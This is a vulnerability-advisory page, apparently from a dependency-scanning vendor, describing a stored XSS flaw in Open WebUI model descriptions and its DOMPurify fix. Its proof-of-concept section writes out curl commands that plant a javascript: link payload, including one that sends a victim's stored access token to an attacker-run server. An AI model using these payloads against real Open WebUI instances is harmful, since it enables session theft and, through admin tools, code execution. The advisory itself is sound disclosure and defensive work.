# CVE-2026-44721: open-webui RCE — Fixed in 0.9.0 📦 📦 npm🐍 PyPI Not in CISA KEV HIGH severity # CVE-2026-44721 — open-webui HIGH CVE-2026-44721 is a high-severity (CVSS 7.3) Cross-site Scripting (XSS) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below. Open WebUI: Stored XSS via Model Description Also known as[GHSA-gf5m-wcrh-7928](/vulnerability/GHSA-gf5m-wcrh-7928)PYSEC-2026-2725 Published May 15, 2026 Updated Oct 28, 2026 Affected 2 pkgs Patched 2 / 2 Exploits None indexed Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - A successful exploit gives an attacker total control of the affected component, not partial access. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44721. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.3%probability of exploitation in next 30 days Lower Risk\-0.06% Lower risk than most CVEs24th percentile — riskier than 24% of all scored CVEsHighest risk 0.00%0.29%0.58%0.87%0.0%0.3%Jun 26Sep 26Oct 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 2 pkgs affected How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched. 0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream `open-webui`npm 99downloads / week ## Description > \[!IMPORTANT\] Relationship to CVE-2024-7990 > CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer. The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an `` element, and rendered live by `{@html}`. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive. Affected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize). Both vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis. #### Summary This is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI. #### Details Root Cause: Model descriptions are rendered in two Svelte components via this chain: `sanitizeResponseContent(description) → .replaceAll('\n', '
') → marked.parse() → {@html ...}` The model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description. `index.ts:82-92` ``` export const sanitizeResponseContent = (content: string) => { return content .replace(/<\|[a-z]*$/, '') // strip incomplete <|tokens .replace(/<\|[a-z]+\|$/, '') // strip incomplete <|token| .replace(/<$/, '') // strip trailing < .replaceAll('<', '<') // escape < to < .replaceAll('>', '>') // escape > to > .replaceAll(/<\|[a-z]+\|>/g, ' ') // strip <|token|> patterns .trim(); }; ``` This function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via `javascript:` which is the fundamental issue. `.replaceAll('\n', '
')` will replace newlines with `
` tags, and since payload can be written without newlines, its unaffected. `marked` sees `[text](url)` and generated an anchor tag and does not block the payload of `javascript:`. Svelte's `{@html}` directive inserts raw HTML into the DOM without escaping, creating the vulnerability. Affected files: `src/lib/components/chat/Placeholder.svelte` (lines 177–181) `src/lib/components/chat/ChatPlaceholder.svelte` (lines 99–103) #### PoC Below is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server. Step 1 - Create a model with a malicious description. The token used must be from an account with either the following. A. Admin privileges B. An account with model creation permission ``` curl -X POST 'http:///api/v1/models/create' \ -H 'Authorization: Bearer ' \ -H 'Content-Type: application/json' \ -d '{ "id": "xss-test", "name": "Helpful Assistant!", "base_model_id": "llama3", "meta": { "description": "A helpful AI assistant. [Click here for docs](javascript:alert())" }, "params": {} }' ``` Any authenticated user with workspace.models permission can execute this. The base\_model\_id should reference any model available on the instance. Step 2 - Select the model: Login and select the created model, if you followed the PoC it will be Helpful Asisstant!

Step 3 - XSS Triggers: Click on the hyperlink and watch the alert trigger.

**Below is a PoC that steals the access token from localstorage** Step 1 - Setup a local python HTTPServer `python3 -m http.sever 8080` Step 2 - Create a model with a malicious payload to steal the token from localstorage ``` curl -X POST 'http:///api/v1/models/create' \ -H 'Authorization: Bearer ' \ -H 'Content-Type: application/json' \ -d '{ "id": "xss-model", "name": "Token Stealer", "base_model_id": "llama3", "meta": { "description": "Advanced research model. [View benchmarks](javascript:void(fetch(`http://:8080/?t=${localStorage.token}`)))" }, "params": {} }' ``` Step 3 - Navigate to the malicious model and click on the hyperlink Check on the local server you have set up in Step 1 and see that the token is returned within the URL.

#### Impact As user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI). Attack Scenario ``` 1. Attacker creates a model with a malicious description 2. Victim selects model and clicks the hyperlink 3. Victim authorization token is stolen ``` This vulnerability affects all Open-WebUI users. #### Remediation Recommended fix — wrap `marked.parse()` output with `DOMPurify.sanitize()`. In the affected files, change ``` {@html marked.parse( sanitizeResponseContent(description).replaceAll('\n', '
') )} ``` into ``` {@html DOMPurify.sanitize( marked.parse( sanitizeResponseContent(description).replaceAll('\n', '
') ) )} ``` This matches the pattern already used in other parts of the application such as but not limiting to `ConfirmDialog.svelte:130` and `NotebookView.svelte:77`. DOMPurify will handle the stripping of `javascript:` URIs, event handlers and other dangerous HTML by default. #### AI Disclosure Claude was used to assist in: Systematic codebase searching to identify unsanitized `{@html}` rendering paths Verifying `marked@9.1.6` behavior with `javascript:` URIs ### Credits Lin, WeiChi from Sompo Holdings, Inc. ## Affected Packages 2 total 2 fixed Ecosystem Package Vulnerable range Fix 📦npm `open-webui` all versions 0.9.0`npm install open-webui@0.9.0` 🐍PyPI `open-webui` all versions 0.9.0`pip install --upgrade 'open-webui==0.9.0'` ## Affected Products 1 product · 1 configurations Application `open webui`openwebui < 0.9.0 range ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update open-webui to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44721 is resolved across your whole dependency graph. 3. ### Workarounds Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page. ## Frequently Asked Questions \> \[!IMPORTANT\] > Relationship to CVE-2024-7990 > CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer. The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brack O3 Security · Impact-Aware SCA ### Is CVE-2026-44721 in your dependencies? Find it across npm, PyPI, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)